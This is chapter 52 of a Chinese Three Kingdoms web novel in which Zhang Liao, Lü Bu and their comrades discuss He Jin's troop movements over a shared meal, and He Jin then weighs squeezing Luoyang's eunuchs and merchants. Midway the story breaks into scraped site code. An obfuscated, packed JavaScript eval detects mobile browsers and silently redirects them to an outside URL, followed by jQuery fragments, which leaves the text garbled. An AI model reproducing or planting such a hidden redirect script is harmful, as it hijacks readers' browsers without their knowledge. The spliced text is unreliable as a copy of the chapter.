52. 第 52 章
作品:《[三国]奉先不可以》 52
张辽上辈子跟张杨一块去大将军府,张杨在新军当内应,他留在大将军府,后来被派去冀州招兵。
从桓帝到灵帝,连续两位帝王出自冀州,意味着那里的皇亲国戚最多,被提拔的官员最多,百姓过的最差。
除去皇亲国戚世家大族官宦人家,在冀州,黄巾以后五六年还能活着的只剩下四类人:
随黑山军钻太行山的流民。
被老爷们招募当农奴的流民。
给皇亲国戚世家大族当狗的狗大户。
以及自己有点资产势力但没有官身的狗大户。
其实其他州也不过轻重的区别。这种没官身的、只配结交街面人物的普通大户,在普通百姓死光跑光后,自然变成了社会最底层。不然张飞再支持刘备也不必那样卖房卖地背井离乡。
张飞和刘备的老家涿郡涿县是一个很容易发大水的地方(前两年还淹到电线杆。以及张角,张牛角老家,现在叫大陆泽·宁晋泊蓄滞洪区)。
黄巾闹很大的地方,基本都是自古以来的泄洪地。
张飞那种一顶一的聪明人,很清楚一直留在涿郡,终究一个被人吃干抹净的结局。
所以不管董家派系的官员配不配合,张辽的招兵之旅十分顺利。大汉不止张飞一个聪明人。
张辽上辈子的初始班底都是这样人。是的,他手下的军官和兵,没有一个并州人:“你们还记得兵曹嘛,他之前带队去冀州招兵,应该到了吧。”
高顺记得,被赤兔欺负,喜欢吃腌滴溜的那个。
吕布想起:“他确实在冀州负责招募新兵。具体情况丁都尉没说过,我没细问。”
张辽:“你为啥不问,一点搜集情报的意识都没有。”
吕布:“军队的驻地数量番号甚至兵种都是军事机密!没告诉我就是我不该知道!”
“那冀州就算他募兵成功吧。”张辽拿出代表何进颜色的小纸条,贴在地图上。也不知道吕布杀了丁原后,这兵曹回头跟谁?
兵曹要是来打吕布就好了,他上辈子的班底真有几个可用之人:“从新军成立到现在,将军府派出去那么多人募兵。”
“加上各郡太守的募兵,张杨还真是字面意义上的火上浇油。”高顺凑近地图,研究地图。魏越新绘的中原地图上已经记满了这种充满不确定的小纸条。
所有人都知道,军队的调动若不是为了抵御外敌,那便是应对朝堂斗争。吕布看得懂何进对于军队的调动,大将军在封锁洛阳。
吕布也理解何进为什么不再任用自己领兵。
桃李不言下自成蹊,换个角度就是匹夫无罪怀璧其罪。何况吕布自家人知道自家事,如果去年南匈奴之乱来的不是丁原,而是一个被他挑衅几句就真敢喊打喊杀的蠢货,他说反也就真的反了。
可朝廷一边忌惮边军,死活防着他们一手,又让董卓入京,还招“四方猛士”入京?就为诛些在皇宫里手无寸铁的宦官?镇压恐要作乱的百姓和流民?
吕布开始怀疑自己之前三十八年的战争经验来到中原后是不是还有用。
“也可能朝廷根本就没什么大计划。”张辽看着陷入沉思的高顺,双眼迷离的魏越,整个人都在放空的吕布,“你们有没有考虑过,朝堂上那些,其实也和咱们一样是普通人。都是人,遇到困难,谁还不是走一步算一步,先把眼前这关过了再说。”
高顺不信。
魏越也不信:“那可是坐镇中枢,影响朝政走向的大人物。”
“……”吕布沉默。他是真见过不少大人物。比如那些后来做到三公九卿但当年也没少在地方干蠢事的太守、将军、中郎将;以及现在变成了大人物的董卓、皇甫嵩、王允……还是小年轻的时候。
“恐怕真没什么大计划,就是做个样子,做个让所有人怀疑有大计划的样子,所有人就不敢妄动?”张辽,“就像,如果你自己都不知道自己在干什么,你的敌人更不会知道。”
“……”高顺认真思考。
“……”魏越挠挠后脑勺。
吕布:“想说虚张声势就直接说虚张声势,啰哩巴嗦一大堆。
“对,何进在虚张声势!”张辽脑中金光一闪。
“叫大将军。”高顺纠正张辽。
张辽虚心承认错误:“都怪老吕,魏哥,你也不要和老吕学。”
魏越闭嘴摇手,我没有,我不是。
吕布懒得搭理三个鸡毛蒜皮。
谁看不出来洛阳现在很虚弱,他现在只想弄清楚现在的洛阳究竟有多虚弱。
但想要搞清楚这个问题又实在难。而且万一是何大将军准备扮猪吃虎呢?洛阳毕竟是洛阳,瘦死的骆驼比马大。
“都在?”成廉掀门进来,左手拎着一筐饼,右手抱着咸菜罐。身后跟着宋宪和侯成。宋宪和侯成一起抬着一大锅羊汤。
“正好,开饭,吃饭吧。”成廉:“别管黄河对岸的黑烟了。就算真是盗匪,真的已经和洛阳驻军交战,打完了驻军,要过河打咱们,咱们该吃饭也得先吃饭。这可是大丧以来,咱们第一次重新聚在一块吃饭。”
吃饭好,但吕布问:“你这煮的什么?”
“羊肉芜菁蘑菇。”成廉答。
“什么蘑菇?”吕布下箸挑起蘑菇。
“就邙山上的野蘑菇。”成廉被一帐人盯着看。
“你没给全军都煮吧。”高顺。
“没有没有,我怕混进去毒蘑菇。”成廉。
“你确定这一锅没有毒蘑菇?”张辽。
“我今早上亲自捡的,问过百姓了,能吃。煮好了亲自尝过。”成廉不觉着自己会蠢到给大家煮毒蘑菇,“宋宪侯成刚刚都吃了,一大碗,没事。”
宋宪转个圈证明自己没中毒:“放心吃吧,虽然没有咱们塞北的大白蘑(可以长到人脸大的中华美味蘑菇)好吃。也没上谷的小白蘑(张家口蘑菇简称口蘑)好吃。”
侯成点点头:“更没有幽州寄过来的蘑干鲜(小鸡炖蘑菇的榛蘑)。”
魏越:“那有什么吃头。”
成廉:“好歹加个菜,每天大饼咸菜肉酱的你们还不够。”
吕布叹气:“高顺,记条新军规,全军禁止私自采集不认识,算了,已经不是陌生地方了。把能吃的蘑菇和附近常见的毒蘑菇全军普及吧。”
成廉:“在做了,老乡还告诉我有一种叫马勃的白蘑(马屁包),幼嫩白色可食,老后灰褐色、伞盖会变成一层皮,里面全是(孢子)粉,野外受伤那粉止血。”
吕布:“行,你和魏越讲,你们心里有数就行,不用事事通知我。”
“本来也没通知你。”张辽坐下开始吃,他真的饿,“一天天的疑神疑鬼。”
吕布:“……”你不疑神疑鬼,你刚刚别问啊。
魏越已经习惯了张辽让吕布没脾气。
其他人就非常不习惯了。不是哥们,忙两个月没怎么认真聚,你现在这么勇的么?
张辽起身,夸张的一圈抱拳:“承蒙老吕厚爱,暂时还没挨打。”
张辽被人围观。
高顺捅捅吕布:你真的不准备打他一顿?我之前打过了,不是绣花枕头,打不坏。
那种丢人现眼的死小孩就不能搭理他!越搭理他越蹬鼻子上脸!吕布吃饭。
你理我,我对你是特殊的。你不理我,我对你还是特殊的。特殊对待就是重视。张辽微笑拿碗发碗,招呼所有人吃饭。
吃饱喝足,该刷锅刷碗的刷锅刷碗,该继续盖营房的盖营房,该挖厕所的挖厕所,该去打听事的出去打听事……反正不等天黑,所有人就又都闲了下来。
大家一起在青紫色夕阳的照射下,继续观看河对岸的浓烟滚滚。
而洛阳?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443353|198362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
洛阳看不到邙山后的火光,飘进洛阳的黑色烟尘经过一白天的发酵,终于成功制造了恐慌。
但恐慌归恐慌。洛阳城里士农工商连带奴隶和乞丐,从建国的那天起,就从来没有想过战火会烧进洛阳城。
光武定都两百年,除了开国之初的战乱,从未被外敌,乱军攻破过。哪怕鲜卑连年衅边,幽并已经为此打了三十年。哪怕羌人时不时的反叛最近打到过三辅。哪怕现在外边依旧此起彼伏的闹黄巾。
活在天子脚下,不需要你真的是与国同休的皇亲贵胄,也可以拥有这种与国同休的优越感。
于是恐慌并没有让人产生畏惧,而是再次推高了今日粮价。
能住在洛阳城中的,多少有点家底,三季绝收是以后的事,现在还饿不死。被分水泄洪的,也不是真正的城里人。
所以受灾的,去死的,没饭吃的从来不是整个洛阳。
洛阳大将军府。
何进也伫立在同一片夕阳下。等待局势进一步混乱。
他和老天爷赌雨能及时停,赌输了。现在他依旧赌,他要和活人赌。他赌人怕死大于珍惜钱财。
朝廷无钱赈灾,无粮赈灾,不是说洛阳没有钱,没有粮。
宦官手里有钱。
那边黑烟一起,马上就排队来大将军府给他送钱。就算宦官们知道,孟津的黑山伯不可能是真的,稍微一打听就能看到,温县的守军正在悠哉悠哉吃饭。
张让还专门去找他妹妹叩首谢恩:“老臣得罪,当与新妇俱归私门。惟受恩累世,今当远离宫殿,情怀恋恋,愿复一入直,得暂奉望太后、陛下颜色,然后退就沟壑,死不恨矣。”
老臣获罪,应当与儿媳一同返回私人宅邸。
只是蒙受恩德历经数代,如今将要远远离开宫殿,内心怀有留恋不舍,希望能再一次入宫当值,得以暂时侍奉、瞻望太后、陛下的容颜神色,这样之后退身死于沟壑,也没有遗憾了。
(《后汉书·何进传》,李贤注引《续汉书》:张让子妇,太后之妹。张让养子张奉,任太医令。太后之妹不知道是不是亲生的,应该不是,但张让和何进确实是实在姻亲)
世家大族手里有粮。
只是之前下雨的时候,不管何进如何去募集,他们一律都说自己也损失惨重。
当然,当朝大将军要,他们不能不给。但出一点钱粮给自家混个仁义的好名声可以,把自己家的真金白银救命的粮食给朝廷和皇帝拿去做脸那不行。
如果皇帝不够坏,不够昏庸,大将军不够无能,怎么显得出朝臣的贤来。
况且流民是朝廷的虑。死人也是朝廷的虑。
疫病之下,死的都是老弱病残。他们的农庄,他们的民团,要的是健壮的男人,能生孩子的女人,而不是只吃饭不干活的老幼。
等人死差不多找人牙子买人多合适,或者直接接收流民一个大子都不用花。这些流民还会因为被救一命对主家感恩戴德。
至于暴乱,黄巾?
这里可是洛阳。
外人都没打进来过,朝廷的军队好意思对自己的首都大开杀戒?要杀也是杀暴乱的那波流民。关他们这些闭门不出的良民什么事。
他何进若真敢让那些个假扮的黑山军进洛阳,何进这大将军,何皇后那太后,刘辩小儿那皇帝也就不用再当了。
换个皇帝对于大汉来说,不是什么稀奇的事情。
何进确实不敢真把洛阳这些世家大族如何。虽然他真的很想给他们通通抄家。可没奈何,世家大族才是他何进和皇帝的支持者。人家支持你是为了自己的家族继续在大汉繁荣昌盛长治久安,又不是大汉。
但在大军压境之下,他这个大将军若只把洛阳全部的奸商一个不留的通通抄家,也不是不行。
朝廷不让官员经商,他倒是要看看,谁有脸来认领这些奸商。

